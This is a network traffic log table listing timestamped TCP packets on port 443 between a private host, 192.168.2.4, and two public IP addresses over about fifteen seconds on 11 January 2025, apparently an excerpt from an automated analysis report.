| Jan 11, 2025 03:52:51.940006971 CET | 443 | 53511 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:51.940105915 CET | 53511 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:51.940607071 CET | 53511 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:51.940623045 CET | 443 | 53511 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:51.940794945 CET | 53511 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:51.940804005 CET | 443 | 53511 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:52.381817102 CET | 443 | 53511 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:52.381928921 CET | 53511 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:52.381988049 CET | 443 | 53511 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:52.382039070 CET | 53511 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:52.382078886 CET | 443 | 53511 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:52.382129908 CET | 53511 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:52.382210016 CET | 443 | 53511 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:52.382263899 CET | 53511 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:52.382616997 CET | 53511 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:52.382641077 CET | 443 | 53511 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:52.506097078 CET | 53518 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:52.506153107 CET | 443 | 53518 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:52.506242990 CET | 53518 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:52.506555080 CET | 53518 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:52.506573915 CET | 443 | 53518 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:53.140903950 CET | 443 | 53518 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:53.141071081 CET | 53518 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:53.141565084 CET | 53518 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:53.141577005 CET | 443 | 53518 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:53.141844988 CET | 53518 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:53.141849995 CET | 443 | 53518 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:53.526155949 CET | 443 | 53518 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:53.526282072 CET | 53518 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:53.526313066 CET | 443 | 53518 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:53.526395082 CET | 53518 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:53.526634932 CET | 53518 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:53.526690960 CET | 443 | 53518 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:53.526751041 CET | 53518 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:53.537511110 CET | 53527 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:53.537606001 CET | 443 | 53527 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:53.537688017 CET | 53527 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:53.537904024 CET | 53527 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:53.537935019 CET | 443 | 53527 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:54.164110899 CET | 443 | 53527 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:54.164197922 CET | 53527 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:54.164676905 CET | 53527 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:54.164702892 CET | 443 | 53527 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:54.164988041 CET | 53527 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:54.164999962 CET | 443 | 53527 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:54.597256899 CET | 443 | 53527 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:54.597346067 CET | 443 | 53527 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:54.597412109 CET | 443 | 53527 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:54.597588062 CET | 53527 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:54.597657919 CET | 53527 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:54.598364115 CET | 53527 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:54.598404884 CET | 443 | 53527 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:54.724827051 CET | 53534 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:54.724922895 CET | 443 | 53534 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:54.725024939 CET | 53534 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:54.725337029 CET | 53534 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:54.725375891 CET | 443 | 53534 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:55.357491970 CET | 443 | 53534 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:55.357600927 CET | 53534 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:55.360398054 CET | 443 | 53534 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:55.360522985 CET | 53534 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:55.362890005 CET | 53534 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:55.362903118 CET | 443 | 53534 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:55.363918066 CET | 443 | 53534 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:55.363981009 CET | 53534 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:55.364454985 CET | 53534 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:55.407377958 CET | 443 | 53534 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:55.742486954 CET | 443 | 53534 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:55.742738008 CET | 53534 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:55.742805958 CET | 443 | 53534 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:55.743007898 CET | 53534 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:55.743038893 CET | 53534 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:55.743164062 CET | 443 | 53534 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:55.743258953 CET | 53534 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:55.753695011 CET | 53544 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:55.753760099 CET | 443 | 53544 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:55.753835917 CET | 53544 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:55.754183054 CET | 53544 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:55.754200935 CET | 443 | 53544 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:56.403615952 CET | 443 | 53544 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:56.403717995 CET | 53544 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:56.404402971 CET | 53544 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:56.404417992 CET | 443 | 53544 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:56.404596090 CET | 53544 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:56.404603958 CET | 443 | 53544 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:56.845256090 CET | 443 | 53544 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:56.845314980 CET | 443 | 53544 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:56.845468998 CET | 443 | 53544 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:56.845551968 CET | 53544 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:56.845592022 CET | 53544 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:56.846412897 CET | 53544 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:56.846431971 CET | 443 | 53544 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:56.975373983 CET | 53551 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:56.975416899 CET | 443 | 53551 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:56.975541115 CET | 53551 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:56.976011038 CET | 53551 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:56.976027966 CET | 443 | 53551 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:57.607907057 CET | 443 | 53551 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:57.608002901 CET | 53551 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:57.608580112 CET | 53551 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:57.608596087 CET | 443 | 53551 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:57.608870983 CET | 53551 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:57.608879089 CET | 443 | 53551 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:58.008248091 CET | 443 | 53551 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:58.008443117 CET | 53551 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:58.008687019 CET | 53551 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:58.008725882 CET | 443 | 53551 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:58.008780956 CET | 53551 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:58.025376081 CET | 53561 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:58.025427103 CET | 443 | 53561 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:58.025536060 CET | 53561 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:58.025922060 CET | 53561 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:58.025937080 CET | 443 | 53561 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:58.677185059 CET | 443 | 53561 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:58.677402973 CET | 53561 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:58.677757025 CET | 53561 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:58.677767992 CET | 443 | 53561 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:58.678042889 CET | 53561 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:58.678056002 CET | 443 | 53561 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:59.110558987 CET | 443 | 53561 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:59.110711098 CET | 53561 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:59.110743046 CET | 443 | 53561 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:59.110764980 CET | 443 | 53561 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:59.110797882 CET | 53561 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:59.110805035 CET | 443 | 53561 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:59.110836983 CET | 53561 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:59.110873938 CET | 53561 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:59.110878944 CET | 443 | 53561 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:59.110924006 CET | 53561 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:59.110933065 CET | 443 | 53561 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:59.110982895 CET | 53561 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:59.111953020 CET | 53561 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:59.111969948 CET | 443 | 53561 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:59.286267996 CET | 53568 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:59.286320925 CET | 443 | 53568 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:59.286412954 CET | 53568 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:59.287245989 CET | 53568 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:59.287266970 CET | 443 | 53568 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:59.946201086 CET | 443 | 53568 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:59.946301937 CET | 53568 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:59.946955919 CET | 443 | 53568 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:59.947031975 CET | 53568 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:59.960800886 CET | 53568 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:59.960818052 CET | 443 | 53568 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:59.961071014 CET | 443 | 53568 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:59.961147070 CET | 53568 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:59.961545944 CET | 53568 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:00.003338099 CET | 443 | 53568 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:00.335639000 CET | 443 | 53568 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:00.335709095 CET | 53568 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:00.335726976 CET | 443 | 53568 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:00.335777044 CET | 53568 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:00.336052895 CET | 53568 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:00.336142063 CET | 443 | 53568 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:00.336203098 CET | 53568 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:00.364551067 CET | 53578 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:00.364597082 CET | 443 | 53578 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:00.364689112 CET | 53578 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:00.365226030 CET | 53578 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:00.365241051 CET | 443 | 53578 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:01.015635014 CET | 443 | 53578 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:01.018045902 CET | 53578 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:01.018699884 CET | 53578 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:01.018712997 CET | 443 | 53578 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:01.018945932 CET | 53578 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:01.018951893 CET | 443 | 53578 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:01.501918077 CET | 443 | 53578 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:01.502011061 CET | 53578 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:01.502057076 CET | 443 | 53578 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:01.502116919 CET | 53578 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:01.502134085 CET | 443 | 53578 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:01.502166033 CET | 443 | 53578 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:01.502186060 CET | 53578 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:01.502213001 CET | 53578 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:01.502242088 CET | 443 | 53578 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:01.502298117 CET | 53578 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:01.502361059 CET | 443 | 53578 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:01.502414942 CET | 53578 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:01.520597935 CET | 53578 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:01.520636082 CET | 443 | 53578 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:01.663341045 CET | 53585 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:01.663403988 CET | 443 | 53585 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:01.663486004 CET | 53585 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:01.663990021 CET | 53585 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:01.664012909 CET | 443 | 53585 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:02.308397055 CET | 443 | 53585 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:02.308502913 CET | 53585 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:02.309128046 CET | 443 | 53585 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:02.309210062 CET | 53585 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:02.311017990 CET | 53585 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:02.311049938 CET | 443 | 53585 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:02.311356068 CET | 443 | 53585 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:02.311419964 CET | 53585 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:02.311850071 CET | 53585 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:02.355336905 CET | 443 | 53585 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:02.697408915 CET | 443 | 53585 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:02.698007107 CET | 53585 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:02.698044062 CET | 443 | 53585 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:02.698107958 CET | 53585 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:02.698251963 CET | 53585 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:02.698297024 CET | 443 | 53585 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:02.698350906 CET | 53585 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:02.717418909 CET | 53595 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:02.717470884 CET | 443 | 53595 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:02.717555046 CET | 53595 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:02.717916965 CET | 53595 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:02.717927933 CET | 443 | 53595 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:03.365187883 CET | 443 | 53595 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:03.365295887 CET | 53595 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:03.366162062 CET | 53595 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:03.366179943 CET | 443 | 53595 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:03.366466999 CET | 53595 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:03.366472960 CET | 443 | 53595 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:03.809621096 CET | 443 | 53595 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:03.809663057 CET | 443 | 53595 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:03.809681892 CET | 53595 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:03.809726954 CET | 443 | 53595 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:03.809752941 CET | 53595 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:03.809770107 CET | 53595 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:03.809776068 CET | 443 | 53595 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:03.809787989 CET | 443 | 53595 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:03.809813023 CET | 53595 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:03.809837103 CET | 53595 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:03.810736895 CET | 53595 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:03.810759068 CET | 443 | 53595 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:03.944288015 CET | 53602 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:03.944370031 CET | 443 | 53602 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:03.944494963 CET | 53602 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:03.944885015 CET | 53602 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:03.944900036 CET | 443 | 53602 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:04.588809967 CET | 443 | 53602 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:04.589086056 CET | 53602 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:04.591655016 CET | 443 | 53602 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:04.591731071 CET | 53602 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:04.593900919 CET | 53602 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:04.593930960 CET | 443 | 53602 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:04.594706059 CET | 443 | 53602 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:04.594777107 CET | 53602 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:04.595197916 CET | 53602 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:04.635330915 CET | 443 | 53602 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:04.972628117 CET | 443 | 53602 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:04.972870111 CET | 53602 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:04.973033905 CET | 53602 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:04.973167896 CET | 443 | 53602 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:04.973237038 CET | 53602 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:04.990289927 CET | 53609 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:04.990349054 CET | 443 | 53609 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:04.990417004 CET | 53609 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:04.990677118 CET | 53609 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:04.990703106 CET | 443 | 53609 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:05.629818916 CET | 443 | 53609 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:05.629873991 CET | 53609 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:05.630459070 CET | 53609 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:05.630474091 CET | 443 | 53609 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:05.630686998 CET | 53609 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:05.630692959 CET | 443 | 53609 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:06.080586910 CET | 443 | 53609 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:06.080662012 CET | 443 | 53609 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:06.080743074 CET | 443 | 53609 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:06.080820084 CET | 53609 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:06.080871105 CET | 53609 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:06.082226992 CET | 53609 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:06.082247972 CET | 443 | 53609 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:06.212968111 CET | 53618 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:06.213032007 CET | 443 | 53618 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:06.213169098 CET | 53618 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:06.213690996 CET | 53618 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:06.213709116 CET | 443 | 53618 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:06.850011110 CET | 443 | 53618 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:06.850116014 CET | 53618 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:06.852720022 CET | 443 | 53618 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:06.852793932 CET | 53618 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:06.855113983 CET | 53618 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:06.855123997 CET | 443 | 53618 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:06.855911016 CET | 443 | 53618 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:06.855984926 CET | 53618 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:06.856509924 CET | 53618 | 443 | 192.168.2.4 | 172.217.16.206 |
